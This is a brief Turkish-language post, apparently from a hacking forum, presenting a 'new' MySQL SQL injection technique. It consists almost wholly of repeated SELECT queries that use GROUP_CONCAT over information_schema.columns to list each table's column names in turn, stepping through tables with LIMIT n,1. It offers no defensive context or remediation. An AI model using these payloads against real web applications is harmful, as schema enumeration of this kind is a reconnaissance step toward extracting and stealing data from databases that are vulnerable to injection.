GROUP_CONCAT MySQL SQL Injection

Yeni bir MySql İnjection tekniği ;

SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1

SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1

SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

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